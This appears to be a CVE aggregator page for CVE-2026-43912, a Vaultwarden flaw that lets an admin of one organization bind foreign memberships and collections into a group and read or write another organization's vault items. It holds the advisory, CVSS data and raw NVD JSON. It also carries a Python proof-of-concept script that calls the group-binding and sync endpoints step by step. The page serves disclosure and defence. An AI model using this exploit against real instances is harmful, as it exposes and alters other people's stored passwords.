Security Vulnerability Report
中文
CVE-2026-43912 CVSS 8.7 HIGH

CVE-2026-43912

Published: 2026-05-11 23:20:22
Last Modified: 2026-05-11 23:20:22

Description

Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, Vaultwarden does not enforce that a groups_users.users_organizations_uuid entry belongs to the same organization as groups.groups_uuid, or a collections_groups.collections_uuid entry belongs to the same organization as collections_groups.groups_uuid. Multiple organization group-management endpoints accept arbitrary MembershipId and CollectionId values and persist them directly without verifying org consistency. This lets an attacker who is Admin in Organization A, and only a low-privileged member in Organization B bind their Org B membership UUID into an Org A group, then use that foreign group relationship to gain unauthorized access to Org B vault data. With an accessAll=true Org A group, the attacker can make /api/sync and /api/ciphers enumerate Org B ciphers. Once those unauthorized sync results reveal Org B collection IDs, the attacker can also bind those foreign collection IDs to the Org A group and turn the same flaw into write access over Org B items. This vulnerability is fixed in 1.35.5.

CVSS Details

CVSS Score
8.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Vaultwarden < 1.35.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Configuration TARGET_URL = "https://target-vaultwarden-instance.com" ADMIN_TOKEN_ORG_A = "eyJhbGciOiJIUz..." # Admin token for Org A USER_MEMBERSHIP_UUID_ORG_B = "uuid-of-attacker-membership-in-org-b" GROUP_UUID_ORG_A = "uuid-group-org-a-with-accessall-true" COLLECTION_UUID_ORG_B = "uuid-collection-org-b" headers = { "Authorization": f"Bearer {ADMIN_TOKEN_ORG_A}", "Content-Type": "application/json" } # Step 1: Bind Org B Membership to Org A Group (Privilege Escalation) # Endpoint: PUT /api/groups/{group_id}/users/{user_id} # Note: In vulnerable versions, the API does not check if user_id belongs to the same org as the group. bind_user_url = f"{TARGET_URL}/api/groups/{GROUP_UUID_ORG_A}/users/{USER_MEMBERSHIP_UUID_ORG_B}" response = requests.put(bind_user_url, headers=headers) if response.status_code == 200 or response.status_code == 204: print("[+] Successfully bound Org B user to Org A group.") else: print(f"[-] Failed to bind user. Status: {response.status_code}") print(response.text) # Step 2: Sync data to enumerate Org B ciphers sync_url = f"{TARGET_URL}/api/sync" sync_response = requests.get(sync_url, headers=headers) if sync_response.status_code == 200: data = sync_response.json() print("[+] Sync successful. Check 'Ciphers' and 'Collections' for Org B data.") # Logic to parse and find Org B specific Collection IDs would go here # For demonstration, assuming we found the collection UUID else: print("[-] Sync failed.") # Step 3: Bind Org B Collection to Org A Group (Write Access) # Endpoint: PUT /api/groups/{group_id}/collections/{collection_id} bind_collection_url = f"{TARGET_URL}/api/groups/{GROUP_UUID_ORG_A}/collections/{COLLECTION_UUID_ORG_B}" coll_response = requests.put(bind_collection_url, headers=headers) if coll_response.status_code == 200 or coll_response.status_code == 204: print("[+] Successfully bound Org B collection to Org A group. Write access gained.") else: print(f"[-] Failed to bind collection. Status: {coll_response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43912", "sourceIdentifier": "[email protected]", "published": "2026-05-11T23:20:21.980", "lastModified": "2026-05-11T23:20:21.980", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, Vaultwarden does not enforce that a groups_users.users_organizations_uuid entry belongs to the same organization as groups.groups_uuid, or a collections_groups.collections_uuid entry belongs to the same organization as collections_groups.groups_uuid. Multiple organization group-management endpoints accept arbitrary MembershipId and CollectionId values and persist them directly without verifying org consistency. This lets an attacker who is Admin in Organization A, and only a low-privileged member in Organization B bind their Org B membership UUID into an Org A group, then use that foreign group relationship to gain unauthorized access to Org B vault data. With an accessAll=true Org A group, the attacker can make /api/sync and /api/ciphers enumerate Org B ciphers. Once those unauthorized sync results reveal Org B collection IDs, the attacker can also bind those foreign collection IDs to the Org A group and turn the same flaw into write access over Org B items. This vulnerability is fixed in 1.35.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-569v-845w-g82p", "source": "[email protected]"}]}}